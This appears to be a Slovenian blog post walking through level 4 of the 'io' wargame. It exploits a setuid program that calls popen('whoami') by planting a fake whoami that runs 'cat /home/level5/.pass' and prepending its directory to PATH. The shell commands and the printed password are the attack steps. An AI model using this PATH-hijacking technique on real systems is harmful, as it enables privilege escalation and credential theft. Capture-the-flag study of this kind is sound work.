CREATIVE CHAOS   ▋ blog / level04

PUBLISHED ON 15/02/2016 — EDITED ON 14/12/2023 — .SL, INFOSEC


Nekaj besed o četrti stopnji


$ ssh -l level4 -p2224
    level4@io:/levels$ cat level04.c
    //writen by bla
    #include <stdlib.h>
    #include <stdio.h>
    int main() {
            char username[1024];
            FILE* f = popen("whoami","r");
            fgets(username, sizeof(username), f);
            printf("Welcome %s", username);
            return 0;


FILE *popen(const char *command, const char *type);

           The  popen()  function opens a process by creating a pipe, forking, and invoking the shell.  Since a pipe is by definition unidirectional, the type argument may specify
           only reading or writing, not both; the resulting stream is correspondingly read-only or write-only.
           The command argument is a pointer to a null-terminated string containing a shell command line.  This command is passed to /bin/sh using the -c flag; interpretation,  if
           any,  is  performed by the shell.  The type argument is a pointer to a null-terminated string which must contain either the letter 'r' for reading or the letter 'w' for
           writing.  Since glibc 2.9, this argument can additionally include the letter 'e', which causes the close-on-exec flag (FD_CLOEXEC) to be  set  on  the  underlying  file
           descriptor; see the description of the O_CLOEXEC flag in open(2) for reasons why this may be useful.
           The return value from popen() is a normal standard I/O stream in all respects save that it must be closed with pclose() rather than fclose(3).  Writing to such a stream
           writes to the standard input of the command; the command's standard output is the same as that of the process that called popen(), unless this is altered by the command
           itself.   Conversely,  reading  from  a  "popened"  stream reads the command's standard output, and the command's standard input is the same as that of the process that
           called popen().
           Note that output popen() streams are fully buffered by default.
           The pclose() function waits for the associated process to terminate and returns the exit status of the command as returned by wait4(2).


char *fgets(char *s, int size, FILE *stream);

          fgets() reads in at most one less than size characters from stream and stores them into the buffer pointed to by s.  Reading stops after an EOF or a newline.  If a new-
          line is read, it is stored into the buffer.  A terminating null byte ('\0') is stored after the last character in the buffer.


Program izvede ukaz v lupini in na zaslon izpise rezultat.

    level4@io:/levels$ ./level04
    Welcome level5

Izpis je logicen, saj je lastnik programa level5:

    level4@io:/levels$ ls -la | grep level04
    -r-sr-x---  1 level5  level4   5159 Dec 18  2013 level04

A bi lahko sami dolocili, kaj se v programu izvede namesto whoami? Naprimer cat /home/level5/.pass?

Nazalost programa ne moremo spreminjat, saj bi ob ponovnem prevajanju izgubili prednost tega, da je uporabnik level5 lastnik izvrsljive datoteke. Poiskati moramo drug nacin, brez dvoma pa je popen zabaven del programa.

Najprej ugotovimo kaj je whoami:

    level4@io:/levels$ which whoami
    level4@io:/levels$ echo $PATH

$PATH lahko nastavimo s pomocjo naslednjega ukaza:

    export PATH=$PATH:direktorij

Naceloma lahko ustvarimo nek svoj direktorij, ki bo vseboval izvrsljivo datoteko whoami, ki bo dejansko izpisala geslo za naslednji nivo.

   level4@io:/levels$ mkdir /tmp/direktorij
   level4@io:/levels$ echo "cat /home/level5/.pass" > /tmp/direktorij/whoami
   level4@io:/levels$ chmod 777 /tmp/direktorij/whoami

Nastavimo se $PATH, pomembno je da nas nov direktorij navedemo pred starimi, da pri pregledu najprej naleti na nas spremenjen whoami.

    level4@io:/levels$ export PATH=/tmp/direktorij:$PATH
    level4@io:/levels$ echo $PATH


Tokrat ce pozenemo program, dobimo kar izpisano geslo:

  level4@io:/levels$ ./level04
  Welcome DNLM3Vu0mZfX0pDd